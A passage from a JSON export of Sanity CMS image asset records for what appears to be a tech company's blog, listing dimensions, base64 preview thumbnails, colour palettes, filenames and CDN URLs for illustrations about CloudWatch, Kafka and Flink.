CloudWatch","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.4600246002460024,"height":813,"width":2000},"exif":{"PixelXDimension":3132,"PixelYDimension":1274,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAA7EAAAOxAGVKw4bAAABHklEQVQokU1RQZLDMAjL/x+6m2mb2ICEj9oBdzs9MEAiBJKPn8dL5/PSPacCEEgB6LojQv4Oi9Dt0NOgy1zDTNeYOl9Dv6+h85o6PPZgkloJraQCIXMTIhRmCg+5h8xCgfqfAlNkCqDMQ/eYnY8adp9C1GBd6ZphGjYEm8IYgrvcQm4uBnpRMrWYnUuRFRbQYXbruh5NMNxalgMtMRFacCWxbehvECPEytj2VB3uIqkDbprj3j6BYqZyLWWm1lpa3aeQJXNbQ4RIyBF7CdmLCnswKHgBCrgHiqz6yn1BPdT/lYBmeJPNUmTWZKViE5a5YHvRJOVNXVX+fIh3sB4sU1YLMvuBaknjG5M6Sk7L+8R6S935I71j12XJd/+N+wP8kWiComMn8gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4f4f4c","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b6862","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b3ebe6","foreground":"#000","population":0.19,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#afc1cd","foreground":"#000","population":0.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b3ebe6","foreground":"#000","population":0.19,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#84a4bc","foreground":"#000","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#35c9bc","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"aws-cloudwatch-integration-metrics-overview.png","path":"images/sczeoy4w/production/5946b524485081c2d4e89586b3bd469d945112c3-2000x813.png","sha1hash":"5946b524485081c2d4e89586b3bd469d945112c3","size":257212,"title":"Integration metrics overview page for AWS CloudWatch","uploadId":"0uZpGe232LeTIw9lBO6WCJn4DCN5p6VW","url":"https://cdn.sanity.io/images/sczeoy4w/production/5946b524485081c2d4e89586b3bd469d945112c3-2000x813.png"} {"_createdAt":"2022-09-07T11:39:43Z","_id":"image-599ad19caf023488b0075c1df5e22bea6701bcb6-24x24-svg","_rev":"QRl2cGoCgj0FlAhkRqFjal","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:43Z","assetId":"599ad19caf023488b0075c1df5e22bea6701bcb6","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC8UlEQVQ4jW1UzUvVURA9+p6JRVmaphKEKRitKltEq5Iy0I1aKEWZ7zf3GZmQqVjLWqTQUhfZIiSyQCHdlKCL/rQ5MXMntY/FcC/349xzzswdsAD4BmAVYALURkFZBa0q6KVgkIKxCJtfoaBFE0p86mfBSowCQKczEId9LDHhDBP6VDBPwQcKtinYo2A35qsUVCnopKCGk36vnoKjFNRl5DVfLDOhmwmTFHw1EBVsMGGZCW8pHssUfKHgHQVXWTiBpiAwREE31AAnfcPA5ij4oYJvKlig4DYTepjQ5swFPRTc8CjQwYRmJgxTsGaPqeBalpvQGswM7DMFIxS0mwSdAtxnO/fA/SqxgjIlwJIz3qFgmoKzngCjbDKNmYMVaOTrSJT5FKEGOuFrpygY1izfwGaY0MUqSrbZypwAM34hmGVWh0a3poIaLdAcCg6DdfIJau0xO9wb2dyg4JbJDGYNwcRG8LGDN/0DJuii4DgLnGCBers4qLkcliMBdtE8ukRBQcEdGqv/MNNcOscouB51ehEx2WPCIqto1yzxCAU3I3ufKBhXwfg/zCbc25MUvIi9ob8B2zRXfS0F51TwPAB+RuzE5fOezGxNGwWLkYMxM3uQCdtRwD3x9XL2BV2a2exGzARYycEe+bkLUfBbTBjwpOhBUqyQ67w0svRSfLGRCJuXbC+sqaOgn4JNFbxnwuU/yyZhQRPaHeygbGpZoCHCrLCfBT70/Q4KXoXcWSac/i2tL0y1wr5LQSOfBaBJmwM4f9CRHCx5Mu65VMG6f8cqyrm+Msv9r6cGakwT6tR8moqo7MvsCLB1uxPdx75vHMptyxLgzcGZJrxkcn964vd0RAL6Q+ZWnJ31EqpkO7KspWhfueqNqck3XzYpWKFgKWJF85rtrWtm1uV3ww7od0AtqxncXjH5VtTG1pqpMfGy0TxfDSV2xmTWqt2NjpQ9/BgNwBbN8AmUWaDF2r0KBigYVcEo89zWWuyMdx/LuKm8nwF/AQVfjqmc1R0+AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#79544c","foreground":"#fff","population":0.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#610a05","foreground":"#fff","population":3.3,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#eb6016","foreground":"#fff","population":9.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8c380c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4ab84","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a46c57","foreground":"#fff","population":0.87,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eb6016","foreground":"#fff","population":9.2,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-check-circle-broken.svg","path":"images/sczeoy4w/production/599ad19caf023488b0075c1df5e22bea6701bcb6-24x24.svg","sha1hash":"599ad19caf023488b0075c1df5e22bea6701bcb6","size":235,"uploadId":"2xNIV2lhYJTdcpkT6Qhychv5nONdhvCX","url":"https://cdn.sanity.io/images/sczeoy4w/production/599ad19caf023488b0075c1df5e22bea6701bcb6-24x24.svg"} {"_createdAt":"2023-09-15T11:53:45Z","_id":"image-59b4eb202d177f1ab8c9b7ed58398483fa81d0a9-2774x914-png","_rev":"kCpVRB4k8RYeMqmK07EU7s","_type":"sanity.imageAsset","_updatedAt":"2023-09-15T11:53:45Z","assetId":"59b4eb202d177f1ab8c9b7ed58398483fa81d0a9","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.035010940919037,"height":914,"width":2774},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAqklEQVQYlV2OWQ7DIAwFuUxj0p9sNgYvcP9bVcFqVHWEYHjGMmnb9uPmPI7zPHHb9/W9Qs4A8FqWBQAg30fOC8AM7tJ9z2tCxDph5lYbMxNhKYWILkQiwgmVgojXdRGVWFxrYmYzc3dV9Ymq9t7/Enc3MxFx96j2MRIRtdbMTFVtEhI9ISIS/kjsqdYqIr9tOnlGRfIr8UBVU/8yxohPhjxJVJ8kxowxeu8fJf5Ot+BK9w0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#434344","foreground":"#fff","population":5.7,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#414142","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#434344","foreground":"#fff","population":5.7,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4b4b4d","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbd","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#848484","foreground":"#fff","population":4.43,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7e7e80","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"testing-embedding-in-nextjs.png","path":"images/sczeoy4w/production/59b4eb202d177f1ab8c9b7ed58398483fa81d0a9-2774x914.png","sha1hash":"59b4eb202d177f1ab8c9b7ed58398483fa81d0a9","size":175593,"uploadId":"sYe1tDbeL5aMwvf0Bg6rVH593QXrmWUC","url":"https://cdn.sanity.io/images/sczeoy4w/production/59b4eb202d177f1ab8c9b7ed58398483fa81d0a9-2774x914.png"} {"_createdAt":"2022-08-15T15:19:11Z","_id":"image-59cc80b6b21b12885b128a2b846ab66188942dd5-1260x411-png","_rev":"HosDT9snWCxUYvGzNYF0Xq","_type":"sanity.imageAsset","_updatedAt":"2022-08-15T15:19:11Z","assetId":"59cc80b6b21b12885b128a2b846ab66188942dd5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DDLN=J~m0003$?%Nj[M{WVjZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.065693430656934,"height":411,"width":1260},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAwElEQVQYlZ2RPQrCUBCEFwUbsdVbWNhZCnbqCawsvEXwMPb2aiMIWmlhlRNoCkkkCebnveyOvKABtTEu7M42+zHDEhERgLxFxGgNQBuABeAAIBIRiBmAUV9nPA8i3VkerxWiKXmhIuptqagSQCMZsxziNBtf3KT+uqXB+nfg01leZmeRc6rZcgPVLICjVQmH30An1TxzA9X6D/gemZnlFCueOF7SKIDDEpE/nnLXmSzCWHf39q26sz3yI03U3+SwBzxQXstmLtgEAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4444","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04040c","foreground":"#fff","population":0.33,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbbbc","foreground":"#000","population":0.82,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbbbc","foreground":"#000","population":0.82,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9b9bdd","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c84","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3f3fbf","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"bg-semicircle-gray-white-gradient.png","path":"images/sczeoy4w/production/59cc80b6b21b12885b128a2b846ab66188942dd5-1260x411.png","sha1hash":"59cc80b6b21b12885b128a2b846ab66188942dd5","size":12456,"uploadId":"Wh0x8PHD5C0xHuubMu8wrL1YLYmcjoKx","url":"https://cdn.sanity.io/images/sczeoy4w/production/59cc80b6b21b12885b128a2b846ab66188942dd5-1260x411.png"} {"_createdAt":"2022-06-14T14:41:08Z","_id":"image-59eadb09952fdb1c418cc27b12c0bbd38ec124a7-205x205-png","_rev":"qkpX9b3U0TpOGFQp8XG2jN","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:08Z","assetId":"59eadb09952fdb1c418cc27b12c0bbd38ec124a7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eUHoLP%NNrM|IT?Z%MxwIUo2_NxWxvWYX9_4s:obV?W=oaobt7Rjoz","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":205,"width":205},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAEtklEQVQ4jR3C+VfSBwAA8O8/s7dfW+3ltnS9ijhEEwMVBMWLQ46vXCKHgBxfTrm/Cl/uQA5RQaGwWmjaope1sunsubStevW29cqa9ewYuPf6vA9QO6x9Ua3VqoeHtcPDau3LvTdvblVuJxPJIIL4YLdn3OQ0amcyU1t/Pn369mDn5fuHf+8D+wef3h18fP/h48GHj58/f6pW/6sdVqu16qvXr1eur8ai8WA45kMCMOxx2YyRkP/Wg43dvXePXu5vPfsHWNt8dm/7+ebui9//eP78xV//vt17v/9279Wr3Uc7xfyCf9IP+0IO2O9Bgp4JL+yDC9dXbz16snLn3uXSJSCcvJacr+R/ul9aWr9x88Hmg62H67+uLS9fzs1GJ2G7yQjpIa3BNO6d8AaCE5FovFCK5xZgt82hEgEWc8g7ORebXk0trM0UbheKN4vZ4hxiz3hEIRvPOMqTCnjCIVAzpnHBXjgYtE/AGpVMwiIP03GAWmawWoLIhSsX8mvx/Fo0sxoJTae9kgUXNmFE20Y6pFwas48mADljozK1Qizm9fN62zidaA6pDgD7WQqxyuaIIcnlcP6Of7rii+QueEQxTYOT26DraxJS8V3ERkYvVcQbABkUJhXPJKPZHSc5bccBemszk0IR84ZNtvDEVBlOVyaiRZdhRNaN5uBRLAy2F4tqw5xsJ2AGus4P0lsYFNRA2wl2e90Q9QRwHt3Q0Xi2p61dxJfoTD4Izpu900qhpAfXyEBh2SgsA4PuwNRjTx1txdT1tNb3tNb1Eo6wSUf4lO8BTMOx5jMnSLiz9HYim8HmD5uG1V6QNdSNxXOxGAEOzcajKfhTONR3BEwdtamOgj/Wde4ou/1bbmc9cKb+CPrH47jT9eewpynt7aAE0lgSapVbPMCXkMmDzY3954kCjkAslHMYA50ENAH7A6WlYZB2WsxsAprwZ1tamgitBGIbic2TOnzFeG4zlr7rh/OmEaibQKF1sJyOTGa64nRE6TRaEx5FImL76C0CHgWgM/kswQhHrByS6S2emWR+K7f4ZK64k878ohsLkoiDXK5xaqpy7drjdGppSCQmdTZ3dDV3M4hsHgUQjZrkeofKDBvdcSS+kprbmpnfzhW2/YGlvoExMlVqs88WCxvXlx6XLt51uGCRjCuUs2UavkovAHTjPqMzYIGj7mAulLiZyG7MFHZSMxsjcj/+HIsL2sKR8mLpt5Xlx8vlh+lMye6BLS6Xc3LCg/gAg8MPORGzJ+JCcv5IOZq8m8humO15areC3q+FzNORSPnSxY3l8u5yeTs7u2L1RrV2v8EdNHrDgNLgUEAOjWXS6ko47SG3PWA2IYODowy2wWjLuz3FYPBqobC5WNq6sriZzq7o7EGx3jkMuaUmLyBQQiKVSW0OWO0Jg0IqZ+LBLhyPwVTrw1ZXDjLGAoHL+dz63OzawsL91PSq1hYAVRZQbRNoHQBfphOrrZArY/fmVUKukPSVkPyNQiJWQYhQbgOFkNeTy2YqmdSNfP5eJvuzzorw5AauAuKrLACoNIwYnBbf/Dh8SQZyZeSvtRyMclQ3AKqIXRxan9RmTWSmljKpG/Pz69nZit4WAOU6nlzPU0L/A+6ali8WFEZoAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#574b39","foreground":"#fff","population":6.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#60490e","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6e7a84","foreground":"#fff","population":6.54,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#adacd6","foreground":"#000","population":0.61,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8c94e4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6e7a84","foreground":"#fff","population":6.54,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c19729","foreground":"#000","population":0.82,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"jojo.png","path":"images/sczeoy4w/production/59eadb09952fdb1c418cc27b12c0bbd38ec124a7-205x205.png","sha1hash":"59eadb09952fdb1c418cc27b12c0bbd38ec124a7","size":67178,"uploadId":"J9FqbiT2iq5DYvNwaf4qgMijyk789ZBo","url":"https://cdn.sanity.io/images/sczeoy4w/production/59eadb09952fdb1c418cc27b12c0bbd38ec124a7-205x205.png"} {"_createdAt":"2023-09-11T07:15:35Z","_id":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_rev":"ZpixvKy5oWJdKYmQwb8afy","_type":"sanity.imageAsset","_updatedAt":"2023-09-11T07:15:35Z","assetId":"59f93eea73f1b4012da358ba444ee101f936f8d7","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D63b|@j{o,kFfQV-j^okj^fl","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.9350348027842226,"height":431,"width":1265},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAHABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAMH/8QAGxAAAgIDAQAAAAAAAAAAAAAAAAECAwQRUSH/xAAWAQEBAQAAAAAAAAAAAAAAAAABBQb/xAAYEQADAQEAAAAAAAAAAAAAAAAAARECEv/aAAwDAQACEQMRAD8Axe+lWrTfhKGHCMk+AG6eMt1on0s6eAAeUFP/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#172981","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142471","foreground":"#fff","population":4.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#242c94","foreground":"#fff","population":44.51,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1d247b","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#949ae5","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#1d247b","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#242c94","foreground":"#fff","population":44.51,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"bg-brand-blue-pattern-left-right.svg","path":"images/sczeoy4w/production/59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431.svg","sha1hash":"59f93eea73f1b4012da358ba444ee101f936f8d7","size":5896,"uploadId":"NMThJIVqE5Z1mx73vl3tkU57OU0lz6TA","url":"https://cdn.sanity.io/images/sczeoy4w/production/59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431.svg"} {"_createdAt":"2023-07-10T06:52:10Z","_id":"image-5a403f720d43af7e14a967cf19cc2456c9a542bf-3295x1724-png","_rev":"QGahfGdSUCeizIttZox7V0","_type":"sanity.imageAsset","_updatedAt":"2023-07-10T06:52:10Z","assetId":"5a403f720d43af7e14a967cf19cc2456c9a542bf","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TN1k.sd;?bd=}XjGf6j]f6dCg3g$d;g$","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9112529002320187,"height":1724,"width":3295},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAB5LAAAeSwG9LhMsAAABPElEQVQokbXSXUvTcRQH8DNdTnwIWpDVfcxgFRTdJERBb6BmWvmAc5oPyJjp/O9P1IVCTcTqtXTR2/vEry0aIl7ZxeHcffh+OSe8DF4FteB1MB+8DRaD5WAlaATrwUawHewEzWA32AvawUGQhTgXfDcA1s+AWxeABwlM2N+ZDeb6CReCpX7C1T64WWCnSHO4B7aCD+clrBV4M8ryJEtpl6iP0ijRKLJWYGOY9hTHj/n6gLxMu0SWpvgH6yVM4NwIzWk+P2W/yl6FTpWsQvMGW2O0rnH6jF9H/Ozw/Qlf7tCtcDhFXhwA50vsVjl8Qech2T0+PeLjfVq32B6nVebb83/gjxm6dzmpcnSb/MoAWBtiYYJ6mZWrrE6wPsn7tEdYG2IzJbjZq9xNla+TjZGPk6fahf95lEt9m0t+7N9eduoQrnZ5igAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":22.85,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e0b8ba","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fabe70","foreground":"#000","population":0.16,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#bc936a","foreground":"#000","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":22.85,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Brolly_social_media_1200x628.png","path":"images/sczeoy4w/production/5a403f720d43af7e14a967cf19cc2456c9a542bf-3295x1724.png","sha1hash":"5a403f720d43af7e14a967cf19cc2456c9a542bf","size":72458,"uploadId":"lPDocqp1AWaTjvtQMtRFc4sZBotMS9Fk","url":"https://cdn.sanity.io/images/sczeoy4w/production/5a403f720d43af7e14a967cf19cc2456c9a542bf-3295x1724.png"} {"_createdAt":"2023-09-21T08:18:35Z","_id":"image-5acd6ce14c8f5be2d1dedcbe6ae765a380851b6c-1200x628-jpg","_rev":"rpwBSMa1i11HwZnbWq6tYL","_type":"sanity.imageAsset","_updatedAt":"2023-09-21T08:18:35Z","assetId":"5acd6ce14c8f5be2d1dedcbe6ae765a380851b6c","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MABV*-0v#7Ox;GtJTO}O0-xu-pVrJW$g$e","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAYHBf/EACMQAAEEAQMEAwAAAAAAAAAAAAEAAgMEEQUGIRITIzFRUnH/xAAXAQADAQAAAAAAAAAAAAAAAAACAwQG/8QAIhEBAAEDAQkAAAAAAAAAAAAAAQMAAhEhBAYSFTEyYaHR/9oADAMBAAIRAxEAPwCKU9QpsrxsdRBe0YL/AJTHptd157DWpGCN3PcI9/iTQfBGrZshoOz6hIBPUecLQs7BfHg7rsUqOEkL1ehmsyHcN6hEyvDPGWsGPSEuX+Lk2PsUIndrZbniu1XwfKp5xKaB7a//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f4472","foreground":"#fff","population":0.98,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04156c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e24d11","foreground":"#fff","population":1.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a6aad0","foreground":"#000","population":0.86,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb9c3a","foreground":"#000","population":0.31,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5eab","foreground":"#fff","population":0.25,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e24d11","foreground":"#fff","population":1.17,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"flink-sql-client-on-docker.jpg","path":"images/sczeoy4w/production/5acd6ce14c8f5be2d1dedcbe6ae765a380851b6c-1200x628.jpg","sha1hash":"5acd6ce14c8f5be2d1dedcbe6ae765a380851b6c","size":56869,"uploadId":"UpMJOxaiiXvEoGFmrPswPJK9v9IkKhjM","url":"https://cdn.sanity.io/images/sczeoy4w/production/5acd6ce14c8f5be2d1dedcbe6ae765a380851b6c-1200x628.jpg"} {"_createdAt":"2022-11-14T07:08:03Z","_id":"image-5ad3586ea5490c715d9b1da6bb45796d8e451384-1567x844-jpg","_rev":"AgVn9c2bYty4stE1RcDItK","_type":"sanity.imageAsset","_updatedAt":"2022-11-14T07:08:50Z","altText":"Look at me, I'm flying!","assetId":"5ad3586ea5490c715d9b1da6bb45796d8e451384","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAABgcA/8QAJRAAAgEDAwIHAAAAAAAAAAAAAQIDAAQGBRESIVEHEyIyQWGx/8QAFQEBAQAAAAAAAAAAAAAAAAAAAwL/xAAcEQACAgIDAAAAAAAAAAAAAAAAAQIREhMhIkH/2gAMAwEAAhEDEQA/AL9NbG153Ml3NwTdivxt2oNlua6iFtZsfjUwpIVuVkHqC9xVECLJFKkg5KehBqcZhp9rbxyeTEE5KxOxPWok57FT60JHDW7XPg1xXUjqeiQXUzgyPvy+jWov4fswxm32J9zftalQTP/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3d3d","foreground":"#fff","population":6.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f4904","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3c3d3d","foreground":"#fff","population":6.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ca9696","foreground":"#000","population":0.33,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5d160","foreground":"#000","population":0.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#647c9c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f69010","foreground":"#000","population":3.87,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"Aiveners_for_Apache_Kafka_blog.jpg","path":"images/sczeoy4w/production/5ad3586ea5490c715d9b1da6bb45796d8e451384-1567x844.jpg","sha1hash":"5ad3586ea5490c715d9b1da6bb45796d8e451384","size":214015,"title":"Aiveners for Apache Kafka [Astronaut holding a crab]","uploadId":"wHHYGQpKEFHkztnIBNClxeqPN2cI9K26","url":"https://cdn.sanity.io/images/sczeoy4w/production/5ad3586ea5490c715d9b1da6bb45796d8e451384-1567x844.jpg"} {"_createdAt":"2023-05-24T11:34:40Z","_id":"image-5adab4a00c9be66bd9bf1a2757bac3f55d8e2ce5-1920x1037-jpg","_rev":"Bg5HPBiLdZofLBzDDkujHP","_type":"sanity.imageAsset","_updatedAt":"2023-05-24T11:34:40Z","assetId":"5adab4a00c9be66bd9bf1a2757bac3f55d8e2ce5","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MAEySf~pE3IBen4oxtaw%NxwNbj?VsjrW;","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8514946962391514,"height":1037,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGAgf/xAAhEAACAgICAQUAAAAAAAAAAAABAgMEABEFIQYUMTNBUf/EABYBAQEBAAAAAAAAAAAAAAAAAAIDBP/EABYRAQEBAAAAAAAAAAAAAAAAAAEAEf/aAAwDAQACEQMRAD8AzFViktGzXiZzKpBBHsf3EHLQQ+tj